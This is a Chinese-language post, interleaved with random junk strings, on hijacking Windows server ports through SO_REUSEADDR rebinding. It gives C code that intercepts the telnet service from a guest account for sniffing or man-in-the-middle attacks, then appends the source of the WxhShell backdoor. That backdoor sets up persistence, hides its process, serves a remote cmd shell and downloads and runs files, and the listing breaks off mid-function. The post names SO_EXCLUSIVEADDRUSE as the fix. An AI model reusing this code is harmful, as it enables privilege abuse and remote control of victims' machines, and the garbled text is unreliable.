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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Efe(tH2q s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'wFhfZB1!B T]Q4=xsv saddr.sin_family = AF_INET; tkm@&e=e% E3p$^['vx saddr.sin_addr.s_addr = htonl(INADDR_ANY); QsKnaRT {~]5QKg. bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l#C<bDw 1F>8#+B/W 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jQ7;-9/~N 6K7lQ!#}Q 这意味着什么?意味着可以进行如下的攻击: h3E}Sa(MQ: lGK7XAx, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7Oe$Ou z7BFkZ6+ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) SN")u ^& *;]S` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *GYLj[ oH4zW5 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 /+B6oE>8 MV3K'<Y 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kz}Bc
F )$1j"mV 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 s+_8U}R J*K=tA 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -]}#Z:& lmUCrs37 #include 5`&@3
m9/ #include f'"PQr^9 #include /T {R\ #include ;2`t0#J$] DWORD WINAPI ClientThread(LPVOID lpParam); W\0u[IV.x int main() 6yUThv.G# { %j@/Tx/ WORD wVersionRequested; Y5ei:r|^ DWORD ret; cGo_qR/B(> WSADATA wsaData; hFtjw6 BOOL val; n|T$3j) SOCKADDR_IN saddr; n>B
,O SOCKADDR_IN scaddr; ?Qd`Vlp7 int err; 6b2h\+AP SOCKET s; !S7?:MJ?p\ SOCKET sc; OXZK|C;M} int caddsize; *C|*{! HANDLE mt; T
;84Sv DWORD tid; T>*G1 -J# wVersionRequested = MAKEWORD( 2, 2 ); <2kv/ err = WSAStartup( wVersionRequested, &wsaData ); O5:U2o- if ( err != 0 ) { r91i : printf("error!WSAStartup failed!\n"); sqF.,A, return -1; zV15d91GX } -;6uN\gq saddr.sin_family = AF_INET; r$M<vo6C ^; U}HAY //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \Js*>xA
v5 p`=Z@% saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (p'/a.bn saddr.sin_port = htons(23); z*b|N45O if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wZCboQ, { ;[Xf@xf printf("error!socket failed!\n"); 9X1vL return -1; .#sX|c=W } I)jAdd val = TRUE; sAA;d //SO_REUSEADDR选项就是可以实现端口重绑定的 $z)egh(z if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
!jEV75 { "p+oi@ printf("error!setsockopt failed!\n"); *
#z@b return -1; <
fe. } O1X) //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *j <#5=l //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wj'fdrY5h //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X-bM`7'H L`O7-'` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #/9Y}2G|] { Iq19IbR8 ret=GetLastError(); 9T$%^H9 printf("error!bind failed!\n"); &.yX41R return -1; c;t3I}, } Q9p7{^m&E listen(s,2); {#@[ttw$U while(1) ~z41$~/ { &{wRB l # caddsize = sizeof(scaddr); mo4F\$2N //接受连接请求 S+eu3nMq sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); tNqSCjQ~_c if(sc!=INVALID_SOCKET) J.g6<n { o9Mr7 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i(e= if(mt==NULL) 4u0?[v[Hu { n^55G>"0| printf("Thread Creat Failed!\n");
{fEb> break; U"UsQYa_ } @kT@IQkri } }43qpJe8U CloseHandle(mt); K'E)?NW69 } EN}4-P/5 closesocket(s); G:|]w,^i WSACleanup(); >x~Qa@s; return 0; A'u]z\&%c } -m=!SQ >9 DWORD WINAPI ClientThread(LPVOID lpParam) aAd1[?& { DtS7)/<T
SOCKET ss = (SOCKET)lpParam; I+^iOa SOCKET sc; 8/P!i2o unsigned char buf[4096]; /UR;,ts SOCKADDR_IN saddr; >*^SQ{9 long num; z~2;u5S& DWORD val; S;#7B?j DWORD ret; VggSDb //如果是隐藏端口应用的话,可以在此处加一些判断 m^RO*n. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 {SZv#MrK saddr.sin_family = AF_INET; 0;w 4WJJ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); siV]NI':| saddr.sin_port = htons(23); sQrM"i0Y> if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gCL}Ba { 4`V&Yqwl printf("error!socket failed!\n"); oj?y_0}:^ return -1; "9 vL+Hh } ofYZ!-V val = 100; h y\iot if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]gA2.,)}D { #c/K.? ret = GetLastError(); lF7". return -1; NUh%\{ } '['x'G50 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g>b{hkIXg { 931GJA~g ret = GetLastError(); o~xGE 6A*" return -1; d?/g5[ } pma=* if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R$eEW"] { Q!AGalP z printf("error!socket connect failed!\n"); (v0Q.Q@< closesocket(sc); 0}:Wh&g closesocket(ss); k0b6X5 return -1; uXA}" f2 } S]e;p\8$Z while(1) {8;}y[R { $.ctlWS8l{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [ 'B u //如果是嗅探内容的话,可以再此处进行内容分析和记录 S%G&{5 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 z 7cA5'c num = recv(ss,buf,4096,0); .F _u/"** if(num>0) 9A`^ ( send(sc,buf,num,0); f&Sovuuh else if(num==0) #z*,-EV| break; 4z OFu/l6R num = recv(sc,buf,4096,0); UQb|J9HY4 if(num>0) #>z !ns send(ss,buf,num,0); ;c@B +RquR else if(num==0) ;<F^&/a|yQ break; uaLjHR0 } E;k$ICOXA closesocket(ss); }1a(*s,s-^ closesocket(sc); G8Ow;:Ro
return 0 ; ':=20V } Oo~
[*H h6 #2*R0_b ========================================================== /p}pdXS Wrm3U/>e 下边附上一个代码,,WXhSHELL G 40 l['ER$(7 ========================================================== r"VNq&v]9 gla'urb[i| #include "stdafx.h" 9zLeyw\ pG v*{. #include <stdio.h> 3@0!]z^W #include <string.h> *^Z -4 #include <windows.h> T&<ee|t@{ #include <winsock2.h> y"_rDj` #include <winsvc.h> a]8W32 #include <urlmon.h> w`/~y
6jov8GIAt #pragma comment (lib, "Ws2_32.lib") J0t_wMJa #pragma comment (lib, "urlmon.lib") M@pF[J/ 4jVd #define MAX_USER 100 // 最大客户端连接数 7PO]\X^(zE #define BUF_SOCK 200 // sock buffer <c,iu{: #define KEY_BUFF 255 // 输入 buffer jS#YqVuN bc& 5*? #define REBOOT 0 // 重启 aCfWbJ@qiG #define SHUTDOWN 1 // 关机 k~QmDq A'n7u'6= #define DEF_PORT 5000 // 监听端口 [_C([o'\KY Ubwmn!~ #define REG_LEN 16 // 注册表键长度 4~d:@Gmk& #define SVC_LEN 80 // NT服务名长度 `0 u)/s$ n(Um/ // 从dll定义API sr<\fW typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lI9|"^n7F typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZV-Yq !|t typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,L\KS^> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +Q :)zE +\.0Pr // wxhshell配置信息 '^'PdB struct WSCFG { ?uF3Q)rCk int ws_port; // 监听端口 gU@R char ws_passstr[REG_LEN]; // 口令 Iqj?wI1) int ws_autoins; // 安装标记, 1=yes 0=no LZJFp@ char ws_regname[REG_LEN]; // 注册表键名 <yw=+hz[u char ws_svcname[REG_LEN]; // 服务名 ,GtN6? char ws_svcdisp[SVC_LEN]; // 服务显示名 &5%~Qw.. char ws_svcdesc[SVC_LEN]; // 服务描述信息 +N|t:8qaf char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ciCQe]fS int ws_downexe; // 下载执行标记, 1=yes 0=no FaaxfcIfkw char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" =<P$mFP2* char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8xoC9!xt 4Ub7T=LG }; raR=k!3i _|COnm // default Wxhshell configuration HeHo?<>|d struct WSCFG wscfg={DEF_PORT, 8b25D|8l "xuhuanlingzhe", wZj`V_3 1, 8'Q&FW3" "Wxhshell", ,jy9\n*<t9 "Wxhshell", Q_k'7Z\g$ "WxhShell Service", iW[%|ddk "Wrsky Windows CmdShell Service", _6aI>b#yL "Please Input Your Password: ", ?nM]eUAP 1, b>& 3XDz " http://www.wrsky.com/wxhshell.exe", /~/nhKm "Wxhshell.exe" WvcPOt8Bp> }; :;&3"- TO/SiOd // 消息定义模块 @Fb
2c0?Y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]C-a[
char *msg_ws_prompt="\n\r? for help\n\r#>"; -_>E8PhM char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; tYhNr char *msg_ws_ext="\n\rExit."; fDChq[LAn char *msg_ws_end="\n\rQuit."; T>5N$i char *msg_ws_boot="\n\rReboot..."; X09i+/ICK char *msg_ws_poff="\n\rShutdown..."; byk9"QeY\ char *msg_ws_down="\n\rSave to "; {@t6[g++ 0.^67' char *msg_ws_err="\n\rErr!"; aOmQ<N]a char *msg_ws_ok="\n\rOK!"; %^iBTfq2hc aM\Ph&c7e' char ExeFile[MAX_PATH]; _u#r;h[ int nUser = 0; 5^N`~ HANDLE handles[MAX_USER]; (%4O\s#l int OsIsNt; VE^IA\J x r
<2&_$| SERVICE_STATUS serviceStatus; ]OC?g2&6 SERVICE_STATUS_HANDLE hServiceStatusHandle; E/C3t2@- \"+}-!wr // 函数声明 8?hj}}H int Install(void); $N4i)>&T2 int Uninstall(void); fTi5Ej*/?) int DownloadFile(char *sURL, SOCKET wsh); Ge*N%=MX8 int Boot(int flag); 6PLdzZ{ void HideProc(void); 6+SaO
!lR int GetOsVer(void); e#ne 5 int Wxhshell(SOCKET wsl); 1@q"rPE^ void TalkWithClient(void *cs); 6^z):d#u int CmdShell(SOCKET sock); !*,m=*[3 int StartFromService(void); ]ia{N int StartWxhshell(LPSTR lpCmdLine); io7Zv*&T0
\Bl`;uXb VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YcM0A~< VOID WINAPI NTServiceHandler( DWORD fdwControl ); p<Vj<6.=? y6>fK@K~ // 数据结构和表定义 ~@D{&7@ SERVICE_TABLE_ENTRY DispatchTable[] = #ahe@|E'Y { Nbt.y 'd {wscfg.ws_svcname, NTServiceMain}, M{X; H'2 {NULL, NULL} Htce<H-P }; lh;;%@1DM n7bML?f' // 自我安装 t#nRa Pzp int Install(void) q =26($ { U)_x(B3d/ char svExeFile[MAX_PATH]; 3Zm;:v4y HKEY key; 88zK)k{ strcpy(svExeFile,ExeFile); ,'@t.XP Nkk+*(Z // 如果是win9x系统,修改注册表设为自启动 jB\Knxm v if(!OsIsNt) { .:Zb~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a=*JyZ.2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KtaoU2s RegCloseKey(key); xsx0ZovhY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h?vt6t9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rG'W#!^* RegCloseKey(key); #mRT>]di`D return 0; vgKdhN2kI } -K0!wrKC } E&\ 0+-Dw } 28lor&Cc else { #!w7E,UBi UQJ // 如果是NT以上系统,安装为系统服务 nOU.=N
v` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *YP;HL if (schSCManager!=0) H) q_9<; { uL=FK SC_HANDLE schService = CreateService W9jxw4) ( rf
=Wq_ schSCManager, :Gf wscfg.ws_svcname, >'&|{s[m wscfg.ws_svcdisp, R(GL{Dh}L SERVICE_ALL_ACCESS, $kY ]HI SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gO_d!x* SERVICE_AUTO_START, rC6{-42bb SERVICE_ERROR_NORMAL, G4J)o?:m@ svExeFile, n fMU4(: NULL, '-rRD\"q NULL, P u,JR NULL, +?GsIp@>jh NULL, {A{sRT=% NULL qyR}|<F8* ); bfKF6 if (schService!=0) GNoUn7Y { uX+ YH CloseServiceHandle(schService); :E2 ww` CloseServiceHandle(schSCManager); 1oL3y;>iL strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); luCwP strcat(svExeFile,wscfg.ws_svcname); B[r04YGh if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RFLw)IWkL_ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Mo[yRRS# RegCloseKey(key); />V&
OX` return 0; :+meaxbu } cA B<'44R } 4&G
#Bi CloseServiceHandle(schSCManager); 6rN.)dL.#N } !5>PZ{J } {,e-;2q VH<-||X/4 return 1; G@o\D-$ } MD[;Ha )^j62uv // 自我卸载 >ui;B$= int Uninstall(void) hWRr#030 { Tvd: P^C HKEY key; G/yYIs Z8\/Fb if(!OsIsNt) { /q?gpy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gw+pjSJL` RegDeleteValue(key,wscfg.ws_regname); B$_-1^L
e RegCloseKey(key); !qug^F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \?"kT}.. RegDeleteValue(key,wscfg.ws_regname); N) RegCloseKey(key); `':G92}# return 0; OF O,5 } NwNjB
w%v } g\G}b } xi15B5_Ps else { !Mj28 3%
O[W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Lm'+z97 if (schSCManager!=0) oh,29Gg { FA}y"I'W SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;.3
{}.Y if (schService!=0) 9~4@AGL { QNGp+xUHJ9 if(DeleteService(schService)!=0) { kp^q}iS CloseServiceHandle(schService); 7
/XfPF CloseServiceHandle(schSCManager); &M6Zsmo return 0; u4DrZ-v } R ^@ CloseServiceHandle(schService); ?$ M:4mX } H}gp`YW:4 CloseServiceHandle(schSCManager); <AU0ir } b8|<O:]Hp } YhL^kM@c /?u]Fj return 1; -{NP3zy } ^n*:zmD >YR2h/S // 从指定url下载文件 d^d+8R int DownloadFile(char *sURL, SOCKET wsh) M# cJ&+rP { gPIl:, d( HRESULT hr; !EGpI@ char seps[]= "/"; E_Fm5zb?X char *token; K7wU
tg char *file; h8icF}m char myURL[MAX_PATH]; [R<>3}50Y char myFILE[MAX_PATH]; *s|'V+1 j eyGIY strcpy(myURL,sURL); 0N_u6*@ token=strtok(myURL,seps); ku
GaOO
while(token!=NULL) =4gPoS { |2Uw8M7.E file=token; 3e)$ <e token=strtok(NULL,seps); {2U3 } )oy+-1dE y-mjfW`n GetCurrentDirectory(MAX_PATH,myFILE); 3;3 cTXR?= strcat(myFILE, "\\"); .HPa\b\L> strcat(myFILE, file); uj+{
tc send(wsh,myFILE,strlen(myFILE),0); \6%`)p send(wsh,"...",3,0); |mT1\O2a hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o^b5E=?>C if(hr==S_OK) NYc ;Zwv9 return 0; %]N|?9L"= else w|61dB return 1; m+xub*/ d2Ta&Md } JthU'"K \4>& zb4 // 系统电源模块 >.-4CJ])d int Boot(int flag) A+(+PfU { DSlO.)dHu HANDLE hToken; YmLpGqNv TOKEN_PRIVILEGES tkp; .z^O y_S{ ubMN if(OsIsNt) { f(
<O~D OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^#U[v7y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); se*k56, tkp.PrivilegeCount = 1; >v)V2,P
- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <Df2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \=Od1 i if(flag==REBOOT) { hp@F\9j if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \cK# /;a# return 0; ;9'] na } d=dHY(ms] else { eu'~(_2 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^0?ww&X return 0; v
,zD52 } 15d'/f } -K/c~'%'* else { f6 s .xQ if(flag==REBOOT) { 9U Hh#
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *bUOd'vh return 0; gyxC)br } p$cb&NNh*H else { i!iG7X)qT if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "bz]5c~ return 0; c-U]3`;Q } U^]@0vR } cUn>gT `>
+:38 return 1; Q=Liy@/+! } o>|DT(Ib 8+H 0 // win9x进程隐藏模块 =]1cVnPI void HideProc(void) H3( @Q^9 { &joP-!" rU|?3x HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x<PJ5G L if ( hKernel != NULL ) q>.C5t'Qx { LIT`~D pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NDJP`FI ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t:b}Mo0 FreeLibrary(hKernel); W
j`f^^\HJ } y{2\T w:x[kA return; \"w+4} } wj5,_d) b*ja,I4 // 获取操作系统版本 ;te( {u+ int GetOsVer(void) 0[ (kFe { D[)_
f OSVERSIONINFO winfo; N:~4>p44[ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '*^9'= GetVersionEx(&winfo); "Y@q?ey[1 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )Br#R:# return 1; E6M*o+Y else f,ZJFb98 return 0; .o]9
HbIk5 } 6C\WX(@4 A(H2Gt
D // 客户端句柄模块 VCwC$ts int Wxhshell(SOCKET wsl) Yv0y8Vz@ { ?Ezy0>j SOCKET wsh; wN^^_ struct sockaddr_in client; Ao#bREm DWORD myID; {
SDnVV VF g(: while(nUser<MAX_USER) .[Qi4jm>` { \fp'=&tp~a int nSize=sizeof(client); cp0yr:~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A4Q{(z-? if(wsh==INVALID_SOCKET) return 1; 5rmQ:8_5 0.2stBw handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {rn^ if(handles[nUser]==0) N-q6_ closesocket(wsh); q$"?P else .`(YCn?\ nUser++; .1z=VLKF' } .zTkOkL WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Fk9]u^j f4&;l|R0a return 0; yYSoJqj
Q } DQ9aq.; ? cn`N| // 关闭 socket o-JB,^TE void CloseIt(SOCKET wsh) h
B_p { _>;{+XRX[ closesocket(wsh); XVb9)a nUser--; Z#D*HAd` ExitThread(0); <j/wK]d*/ } J#jFX
F\ pG'?>]Rt4 // 客户端请求句柄 2EYWX!Bx void TalkWithClient(void *cs) Y*{5'q+2 { c
*<m. btC6R>0 SOCKET wsh=(SOCKET)cs; +KWO`WR char pwd[SVC_LEN]; 6/ T/A+u char cmd[KEY_BUFF]; ei"c|/pO char chr[1]; [j0jAl int i,j; J8ScKMUN2 @(+\*]?^& while (nUser < MAX_USER) { \DWKG~r-% )>"pm{g2 if(wscfg.ws_passstr) { _~*j=XR s if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v#`> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TK%q}bK, //ZeroMemory(pwd,KEY_BUFF); Y88N*axDW. i=0; g"kET]KP" while(i<SVC_LEN) { S9ic4rcd rBi6AM/ // 设置超时 K\zb+ fd_set FdRead; }E[vW struct timeval TimeOut; dvz6 FD_ZERO(&FdRead); 3\{\ al FD_SET(wsh,&FdRead); Zg0nsNA
TimeOut.tv_sec=8; $!TMS&Wk TimeOut.tv_usec=0; -]{
_^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?$uEN_1O\@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
rixVIfVF *YGj^+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y3s8@0b3 pwd =chr[0]; m AET`B " if(chr[0]==0xd || chr[0]==0xa) { b5I 8jPj4c pwd=0; gm=C0Sp? break; wy{sS} } :ln?PT
i++; w4_Xby) } i_QiE2d d$xvM // 如果是非法用户,关闭 socket _wX(OB if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3<N2ehi? } {v|ib112; F! Cn'* send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7FD,TJs send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m,J
IId%O :(.:bf while(1) { 9a_UxF+6/ _a|g
> ZeroMemory(cmd,KEY_BUFF); ^)a:DKL -B!
a
O65^ // 自动支持客户端 telnet标准 ;' |CSjco j=0; bg_io* K while(j<KEY_BUFF) { Iza;~8dH5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SGba6b31 cmd[j]=chr[0]; {P\Ob0)q if(chr[0]==0xa || chr[0]==0xd) { 7/_|/4& cmd[j]=0; ;!lwB break; bv7xh*/ } dmcY]m j++; 1?3+> } #W
l^!)#j? %_CL/H
// 下载文件 .Cs'@[Ciy if(strstr(cmd,"http://")) { .IVKgQ
B send(wsh,msg_ws_down,strlen(msg_ws_down),0); *uP;rUY if(DownloadFile(cmd,wsh)) -N5h` Ii7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); .*xO/pn else Aq7`A^1t$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )OucJQ } 0pl'*r*9 else { "u&7Y:)^wr mG\9Qkom| switch(cmd[0]) { /~7M @`1 mG@[~w+ // 帮助 RlU ?F
case '?': { -*hPEgcV9 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |9Yx`_DF break; l-!" } KK]R@{ r // 安装 -nX{&Z3-s case 'i': { Pth4_]US if(Install()) x1STjI>i send(wsh,msg_ws_err,strlen(msg_ws_err),0); $}5M`p\&C else Z=;=9<vA send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e%4vvPp break; {f*{dSm9b } |2=w":2# // 卸载 w@O)b-b|w case 'r': { ;`kOFg#`)c if(Uninstall()) C8YStT send(wsh,msg_ws_err,strlen(msg_ws_err),0); t6kLZ else TDy)A2Z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )56L`5#tS break; gp~-n7'~O } O U9{Y9e // 显示 wxhshell 所在路径 r2PN[cLu| case 'p': { (2"4PU8 char svExeFile[MAX_PATH]; -*Qg^1]i+ strcpy(svExeFile,"\n\r"); 1=E}X5 strcat(svExeFile,ExeFile); ,?Vxcr send(wsh,svExeFile,strlen(svExeFile),0); +u t%C.1
break; pU,\ &3N } !=yO72dgLY // 重启 ) te_ <W case 'b': { 0}'/p N> send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !U(KQ:j if(Boot(REBOOT)) K|6}g7&X send(wsh,msg_ws_err,strlen(msg_ws_err),0); xG Y!r"[ else { f,LeJTX= closesocket(wsh); AXi4{Q, ExitThread(0); i.[k"( } JHVndK4L break; R$MR| } &hi][Pt // 关机 IM[=]j.? case 'd': { wN6sica| send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W~i0.rg|> if(Boot(SHUTDOWN)) mUR[;;l send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?duw0SZ else { glKPjL * closesocket(wsh); }g%&}`%' ExitThread(0); 8^^ehaxy } P9Eh,j0_ break; 3+:NX6Ewb* } ~)X;z"y%b // 获取shell |8x_Av0 case 's': { i12G\Ye CmdShell(wsh); j.+,c#hFo closesocket(wsh); IBNb!mPu% ExitThread(0); CUjRz5L break; 4j i#Q } {4p7r7n' // 退出 $U. 2" case 'x': { dr(e)eD(R> send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8
?:W{GAo CloseIt(wsh); I<xcVY9L break; KK-+vq } 2!{_x8,n // 离开 ,5K&f\ case 'q': { 9jl\H6JY| send(wsh,msg_ws_end,strlen(msg_ws_end),0); I>-}ys`[ closesocket(wsh); @:!% Z` WSACleanup(); mt e3k=17 exit(1); ,c;#~y break; *|0W3uy\Y } Z vyF"4QN } *0'{n*> } *S4&V<W> 6+PP(>em // 提示信息 dPgA~~ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y6s/S. } }:0HM8B7! } =umF C[.W lb"T'}q return; S%7bM~J@ } [!ZYtp?Hf L9whgXD // shell模块句柄 8-K4*(-dL int CmdShell(SOCKET sock) {z'Gg { YsO`1D STARTUPINFO si; Ag1nxV1M$ ZeroMemory(&si,sizeof(si)); W^3'9nYU si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W$Aypy
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qrt2uE{K PROCESS_INFORMATION ProcessInfo; bs?4|#[K char cmdline[]="cmd"; *S Z]xrs CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C{ Z*5) return 0; )*o) iN 7l } W`n_m&Y\ .=c@ps // 自身启动模式 ^4saB+qm int StartFromService(void) ZQ[s: { xrJ0 typedef struct ~<osL { x_H"<-By DWORD ExitStatus; [Kbna>` DWORD PebBaseAddress; O9p^P%U " DWORD AffinityMask; 0upZ4eN DWORD BasePriority; !A_KCM:Ym ULONG UniqueProcessId; 2b:I. ULONG InheritedFromUniqueProcessId; mFIIqkUAL } PROCESS_BASIC_INFORMATION; v\kd78, V<REcII. PROCNTQSIP NtQueryInformationProcess; 0E&XD&D +.hJ[|F1& static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (Pt*|@i2c static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _&xkj8O D,uT#P HANDLE hProcess; y|wR)\ PROCESS_BASIC_INFORMATION pbi; ACgWT `7',RUj|D HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _'s5FlZq if(NULL == hInst ) return 0; \z2d=E dBW#PRg g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ['0^gN$:e g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IRI<no 